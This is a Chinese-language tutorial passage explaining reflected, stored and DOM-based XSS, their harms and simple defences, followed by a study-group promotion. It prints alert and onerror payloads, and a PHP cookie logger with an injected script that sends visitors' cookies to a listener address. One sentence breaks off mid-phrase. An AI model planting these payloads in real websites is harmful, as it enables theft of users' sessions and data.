原理:
通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时,特有的恶意代码参数被HTML解析、执行。
其特点往往具有一次性,代码被触发以后就执行,但执行完一次即作废。是当前最常见的XSS攻击。
存在方式:
反射型XSS跨站脚本攻击主要存在于邮件、提交表单、链接等地方。当攻击者将包含有恶意攻击语句的链接发送给目标用户后,用户触发后服务器将含有恶意代码的链接解析并执行用户请求。就会触发该漏洞,使用户遭受恶意攻击。
payload:触发弹窗
<script>alert('1')</script>
2.存储型(持久性)
原理:
存储型与反射型的差别就是,存储型XSS通过拼接正常的JS语句使攻击脚本植入数据库,攻击者将XSS代码发送给了后端,而后端没有对这些代码做处理直接存储在数据库中。当用户访问网站时,又直接从数据库调用出来传给前端,前端解析XSS代码就造成了XSS攻击。
存在方式:
存储型XSS攻击经常出现在博客和留言板中,攻击者在留言时将恶意脚本语句混入正常帖子的内容中被服务器存储在数据库中。当其他用户浏览这个被注入了恶意脚本的留言时,就会触发恶意脚本,造成XSS工具。
paload:
(1).创建一个获取cookie的脚本语句,和存放cookie的文件
<?php
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt","w");
fwrite($log,$cookie."\n");
fclose($log);
?>
(2).在网站页面内注入代码语句,将获取的cookie写入cookie.txt文件中
<script>window.open('http://127.0.0.1/cookie.php?cookie='+document.cookie)</script>
注:127.0.0.1是监听地址,当用户触发脚本攻击时,攻击代码会将获取到的cookie等信息返回监听地址并写入txt文件。
3.DOM树型
原理:
DOM型跨站脚本攻击与存储型不一样,是一种特殊的反射型XSS。它是基于DOM文档对象的一种模型,不依靠数据库。
因为DOM文档是一种由XML、HTML文档组成的,HTML的模型如下。其中有很对可更改的节点,每个节点代表文档中的一个元素、属性、文本。
因此,只要在相应的
例:
<img src=a onerror="alert('1')"/>
还有其他的像UXSS(通用型)、MXSS(突变型)、UTF-7 XSS、UXSS、Flash XSS、MhtmlXSS、CSS XSS、VBScript XSS几种不常见的分类。
三.危害
- 网页挂马、网络钓鱼
- 盗用cookie,获取用户敏感信息
- 利用植入Flash,通过crossdomain权限设置进一步获取更高权限
- 不正当投票等
四.防御
- 过滤危险字符
- HTTP-only Cookie: 禁止 JavaScript 读取Cookie等敏感信息
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!